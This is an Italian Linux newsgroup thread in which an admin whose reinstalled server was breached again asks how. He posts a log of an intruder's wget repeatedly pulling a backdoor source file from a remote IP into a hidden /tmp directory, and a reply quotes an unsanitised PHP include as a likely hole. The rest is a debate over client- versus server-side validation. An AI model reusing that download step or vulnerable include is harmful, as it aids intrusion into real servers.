Newsgroup: it.comp.os.linux.sys
Titolo: Tabula rasa ma sono rientrati. Ma come fanno?

Ma come hanno fatto a fare questo?????
Help dove sta il buco? in apache in php 4.0.6 (avevo installato un
patch di update ma non so se sia stata sufficente?
Please mo devo riformattare di nuovo ma poi sto punto e a capo :(
Grazie
rm: cannot unlink `/tmp/listproc.tmp': Operation not permitted
sh: no process killed
back: no process killed
/root/: No such directory
--17:01:59--  
http://218.224.216.70/includes/back.c
           => `/tmp/.tmp/backwget.c'
Connecting to 218.224.216.70:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 1,283 [text/plain]
    0K .                                                     100% @
4.25 KB/s
17:02:14 (4.25 KB/s) - `/tmp/.tmp/backwget.c' saved [1283/1283]
rm: cannot unlink `/tmp/listproc.tmp': Operation not permitted
sh: no process killed
back: no process killed
mkdir: cannot create directory `/tmp/.tmp': File exists
/root/: No such directory
--17:02:16--  
http://218.224.216.70/includes/back.c
           => `/tmp/.tmp/backwget.c'
Connecting to 218.224.216.70:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 1,283 [text/plain]
    0K .                                                     100% @
4.52 KB/s
17:02:17 (4.52 KB/s) - `/tmp/.tmp/backwget.c' saved [1283/1283]
-- 
.     _  _______  ļ,ø*°`°*ø,ļ_ļ,ø*°`°*ø,ļ_ļ,ø*°`°*ø,ļ_ļ,ø*°`°*ø,ļ_
  /| // /__  __/  Kirys <Remove DELTHIS from the address to reply>
 / |/ \   / /     Kirys Tech 2000: 
http://www.kt2k.com
/__|\__\ /_/ 2000 ļ,ø*°`°*ø,ļ_ļ,ø*°`°*ø,ļ_ļ,ø*°`°*ø,ļ_ļ,ø*°`°*ø,ļ_

 patch di update ma non so se sia stata sufficente?
php 4.0.6 e' un po' vecchiotto... siamo alla 4.2.3
-- 
Fox Mulder
...the truth is out there

php 4.0.6 e' un po' vecchiotto... siamo alla 4.2.3
puo essere ma c'e' il problema compatibilita....
ci sono delle prove che possa essere lui o un modo per verificare se
e' buggato....


 e' buggato....
che versione hai di apache?


che versione hai di apache?
anche qui l'ultima prima della 2 a cui ho applicato una patch
disponibile sempre sul sito di apache.
ritieni che dabba upgradare anche questa?


 ritieni che dabba upgradare anche questa?
beh, se e' la 1.3.26, direi di no. c'e' un security bug nelle versioni 
precendenti.


precendenti.
si 1.3.26. ultima versione di php eppure rientrato...... porca
miseria....
riesce a mettere dei file nella cartella /tmp ........... e poi li
esgue e cancella....
mi carica pure delle immagini x sfottermi....


 mi carica pure delle immagini x sfottermi....
apparte apache e php, hai altri pacchetti non patchati?

mi carica pure delle immagini x sfottermi....
Cercato su bugtraq, se se ne parla?
E poi, PHP per eseguirlo devi avere GIA` privilegi di utente sulla
macchina, visto che e` nel sorgente HTML. O mi sfugge qualcosa?

 mi carica pure delle immagini x sfottermi....
:) addirittura? potrebbe essere qualche altro pacchetto bacato. 
disabilita tutti i servizi inutili e/o aggiorna alle ultime versioni 
quelli che ti servono.


<?php include($pagina); ?> fatto un po' male.
Di sicuro uno degli errori piu` gravi commessi dai programmatori
(vabbe`, gli sto facendo un complimento!) e` quello di riproporre in
uscita quanto immesso dall'utente. Se questo e` uno stronzo, ti mette
un bel server side include, magari con un comando di shell!
MAI, ripeto, MAI, stampare l'output di cio` che l'utente ha inserito,
se prima non passa un controllo.
Molto divertente quando vedo quei siti che propongono l'invio di un
messaggio e poi ti rispondono: gentile utente, ecco quanto hai inviato
a tal del tali, ecc, ecc, mostrando tutto il contenuto. E dagli coi
server side include...

Cercato su bugtraq, se se ne parla?
Comunque ho cercato, ed effettivamente se ne parla. C'e` un bug in un
modulo per il PHP che consente di inviare file sul server.
Fortunatamente io PHP l'ho eliminato, che odio come quasi tutte le
cose che necessitano l'elaborazione di file da parte del server. Tanto
vale usare una CGI o, se possibile,  JavaScript, o Java, client side.
Vai su 
www.securityfocus.com
 e scegli la mailing list BUGTRAQ, poi te
lo trovi.

 vale usare una CGI o, se possibile,  JavaScript, o Java, client side.
mi spieghi come fai a inserire dati in un database con javascript?


 server side include...
ma perche' dovrebbe essere un server side include? potrebbe essere 
semplicemente un:
echo $_GET['nome_parametro'];


mi spieghi come fai a inserire dati in un database con javascript?
Con JavaScript client side esegui il controllo e la formattazione dei
dati, con una CGI in modalita` gateway esegui l'interrogazione. Il
server ha un carico solo nella fase di interrogazione, non ANCHE ogni
volta che l'utente visualizza la pagina.
Ah, gia`, dimenticavo che oggi i programmatori vengono formati
nell'era dei processori da 3 GHz e della RAM infinita, dimenticando le
sane basi dell'uso efficiente delle risorse, che rimangono applicabili
anche oggi, benche` ignote ai piu`.

 anche oggi, benche` ignote ai piu`.
a me sembra una presa di posizione da bambino dell'asilo. ognuno ha la 
propria idea, io rimango della mia. e comunque basta studiare un po' di 
c per capire come gestire al meglio le risorse. non per questo pero' 
devi essere obbligato ad usarlo, se per me PHP e' piu' veloce e semplice 
per creare siti uso quello. punto. adios.


per creare siti uso quello. punto. adios.
Io programmo CGI in C, infatti. Per ora il PERL lo uso solo per
modificare CGI esistenti. Io le scrivo direttamente in C, ottimizzate
per il processore e le librerie del server.
JavaScript e` leggerissimo, per il solo controllo dei dati inseriti.
Stai mirando al punto sbagliato.

per creare siti uso quello. punto. adios.
Nessuno dice che questo sia sbagliato, anche perché poi dipende dal
lato server cosa c'è, e quali possono essere le esigenze di sistema
che possono far preferire una soluzione o l'altra ai sistemisti. Ovvio
che i programmatori che sviluppano su questi server, devono adattarsi
a quello che c'è...
-- 
Massimo Bacilieri AKA Crononauta
"Se tieni il pugno chiuso, non potrai mai prendere niente. Solo se tendi
il palmo aperto, potrai possedere il mondo." (da "La Tigre e il Dragone")

 Stai mirando al punto sbagliato.
se ti affidi solo al lato client per il controllo dei dati andrai poco 
lontano
byez

e-pe...@libero.it
 wrote:

e se io mi salvo il locale la pagina contentente la form con i tuoi 
controlli dei dati, tolgo i controlli dei dati ma lascio la action 
assoluta (
http://www.tuoserver.com/programma.cgi
), inserisco i dati che 
mi pare e piace eludendo ogni controllo... credi che sia piu' sicuro che 
non controllare i dati direttamente lato server?
e poi, non e' piu' pratico avere uno script che puoi aprire con vi ed 
editare che non un programma i c che va compilato tutte le volte (anche 
solo se si vuole cambiare una virgola)?
comunque, ripeto che ognuno ha le sue preferenze. purtroppo gestisco dei 
server con jsp che con quello schifo di jrun mi ammazzano le risorse in 
breve. se fosse php non avrei problemi :)
saluti.


Grazie
provato a chiedere in it.comp.sicurezza.varie?
ciao
-- 
Seti@Home Java Applets
http://maruko.cjb.net/

 a quello che c'è...
in linea generale, se un server deve sopportare un determinato carico 
dovra' essere adeguatamente dimensionato. non si puo' pretendere che 
l'ftp server di debian sia un pentium 75 con 16MB di ram :)
ovvio poi che ogni sysadmin ha le sue preferenze (ma ritengo che cio' 
non possa e non debba limitare le possibilita' dei programmatori, 
oltretutto se c'e' un budget che permette l'acquisto o l'upgrade delle 
macchine). detto questo, apache + php non usano cosi' tante risorse da 
giustificare una presa di posizione e una discussione come quella 
scatenata da 
e-pe...@libero.it
. il tutto, IMHO.


scatenata da 
e-pe...@libero.it
. il tutto, IMHO.
Guarda, al giorno d'oggi io ho questa idea: la potenza di calcolo
delle macchine è tale da essere assolutamente sovradimensionata
rispetto alla banda a disposizione.
In altre parole, il collo di bottiglia è sempre sul flusso dei dati, a
meno di voler mettere un 486 su una fibra ottica a 100 Mbit...
Ma per l'utenza media anche di un'azienda collegata in HDSL 1Mbit, il
problema è sempre la banda, anche perché aumentare la potenza del
processore e la memoria è una cosa relativamente a basso costo,
aumentare la banda ha costi dell'ordine delle centinaia di volte
superiore.
Un'ottimizzazione delle risorse, pertanto, va SEMPRE nella direzione
della riduzione dello sfruttamento della banda, e se questo deve
andare a pesare sulla cpu pazienza, il limite non è certo lì.
Se poi sistemi come PHP e Apache, come rilevi giustamente, non sono
nemmeno tanto gravosi nemmeno per la cpu, tanto meglio.
L'importante è non vedere quelle scelleratezze scritte col culo (e
frontpage), che ti affossano la banda con 30-40 kbyte a ogni pagina, e
per fare una cosa che un webdesigner degno di questo nome farebbe con
2 kbyte scarsi...


 2 kbyte scarsi...
certo, hai perfettamente ragione. io davo per scontato che le pagine 
fossero fatte con un minimo di intelligenza :)


solo se si vuole cambiare una virgola)?
Non funzionerebbe.
C'e` sempre un cotrollo sui dati in input, anche lato CGI, ma di tipo
diverso rispetto JavaScript.
Con JS client side in genere controllo la forma dei dati ed il
contenuto, ma non controllo atti strani dell'utente. Poi da CGI
controllo le cose "antipirata".

andare a pesare sulla cpu pazienza, il limite non č certo lě.
Ottimizzazione, per definizione, va applicata a tutto, non solo ad una
risorsa. Altrimenti non e` ottimizzazione.
Detto questo, fate come vi pare. Fortunatamente io sono il boss di me
stesso e non devo prendere ordini da voi, ne' tantomeno assumervi.

 risorsa. Altrimenti non e` ottimizzazione.
E allora mi dici come fai a parlare di ottimizzazione e intanto
suggerire javascript e java, ovvero la cosa più pesante della terra in
termini di spreco di banda, specie in una realtà come quella italiana
dove le connessioni sono ancora lente, arretrate e soprattutto
costosissime?
-- 
Massimo Bacilieri AKA Crononauta 
mailto:
ulib...@libero.it
 ; ICQ:4005815

 non possa e non debba limitare le possibilita' dei programmatori, 
Gia'.
Ma qui siamo nella filosofia dei sistemi.
E si vede l'estrazione dei singoli.
Anche io sono per le applicazioni server oriented, e se fosse per me,
tutta internet dovrebbe essere navigabile con lynx (vabbeh, vi concedo
w3m con i frame, ma non approfittavene) su VT100.[*]
Ma io nasco come informatico ben prima del personal computer, e in quei
tempi, pensare a qualcosa che non fosse: 
Unita' centrale +--> terminali stupido uno 
                +--> terminale stupido due
                 \-> terminale stupido enne
era fuori del modus ragionandi.
Intendiamoci, non e' che adesso abbia cambiato idea, ma evito di sparare
a lupara su chi usa moderatamente javascript per i suoi siti.
Cio' che odio, invece, cordialmente, sono i siti zeppi di flash, o con i
menu costruiti SOLO da mappe su immagini.
[*] E' inutile che facciate quella faccia, di solito navigo proprio
cosi', mi concedo il modo 132 colonne quando proprio le informazioni
sono corpose.
-- 
          |Save our planet!
   Ciao   |Save wildlife!
  roberto |For your E-MAIL use ONLY recycled Bytes  !!
          |roberto poggi   
rpo...@softhome.net

 w3m con i frame, ma non approfittavene) su VT100.[*]
Mi identifico benissimo con la tua posizione minimalista, anche se non
navigo su una vt100...    :-)
bye G.L.
--
La logica non attiene alla verosimiglianza delle ipotesi,
ma alla coerenza delle tesi con le ipotesi.

navigo su una vt100...    :-)
Si, certo.
Sarei curioso di sapere come vi guadagnate da vivere.
Oggi Internet non e` piu` una rete scientifica e/o militare.
Ci sono un sacco di servizi che prima non erano stati nemmeno
immaginati.
Certo, spesso si arriva all'assurdo di siti pieni di animazioni e
senza nessun contenuto utile, ma come sapete la virtu` sta nel mezzo.
Un po' di server side, un po' di client side, un po' di grafica, un
po' di testo. Quello e`, secondo me, il giusto. Gli etremismi, in un
caso o nell'altro, sono sempre esagerati e, quindi, sbagliati.

 caso o nell'altro, sono sempre esagerati e, quindi, sbagliati.
Sono d'accordo, ma, mettiamola così, tutto dovrebbe, per esser fatto 
bene, misurato al target che ti dài:
se fai un sito che eroga informazioni, deve essere leggibile con un 
terminale vt100, come con un interprete braille, oltre che con il 
classico "Explorer 7000cc ma batte in testa".
L'unico sito che può permettersi di basare le proprie funzionalità sulla 
presenza nel client di JVM, flash plugin, sedili in pelle e aria 
condizionata è quello che dell'informazione se ne sbatte, che si limita 
a vendere aria fritta o che serve ai chattatori esauriti per tentare di 
rimorchiare chattatori dello stesso sesso che si fanno passare per 
"samantha te-la-do-se-la-trovi".
il tutto, ovviamente, IMHO...
Byez
-- 
Emanuele Balla aka Skull
-----------------------------------------------------------------------
Besides, I think [Slackware] sounds better than 'Microsoft', don't you?
(By Patrick Volkerding)

 "samantha te-la-do-se-la-trovi".
D'accordissimo, e' quello che infatti intendevo. Dove e' necessario, ben
venga, ma non dove basterebbe puro e leggero html.


 Oggi Internet non e` piu` una rete scientifica e/o militare.
Snippo sul resto perche', non avertene a male, la tua supponenza mi fa
pensare che la tua sfera di cristallo dev'essere guasta, nel momento in cui
credi di sapere che pensa la gente senza avere espresso precisamente la
propria idea...    ;-)
Intendevo dire che: il di piu', il superfluo, l'inutile fardello, che non
migliora la sostanza (e la leggibilita' dell'informazione), ma anzi
rallenta ed aumenta i costi, e' semplicemente anacronistico. Es.: a cosa
serve una programma in GUI quando si scopre che e' fatto talmente male che
e' piu' rapido fare le cose da shell a caratteri (non parlo tanto di CLI,
ma di programma realizzato con interfaccia a carattere)... e nella mia
esperienza, un esempio a caso, una ditta a livello nazionale che ha un
gestionale unix ed un applicativo windows che partono dalla stessa analisi,
ma gli esempi sono tanti.


 immaginati.
Oh, si', servizi.
Quali servizi hanno bisogno (e dico bisogno, bada bene) di costruire
menu in flash?
Quali hanno assoluta necessita' delle mappe grafiche da navigare col
mouse? 
In entrambi i casi, una sana passata di href e funzionerebbe tutto.
Ti do' ragione quasi su tutto:
un po' di grafica, un po' di testo, un po' di server-side, e basta.
Cosi' lasci ( a parte la pura rappresentazione grafica, che guarda
caso, pero', puoi associare ad un tag alternativo testuale) che il tuo
sito sia accessibile a chiunque, con qualsiasi browser stia navigando.
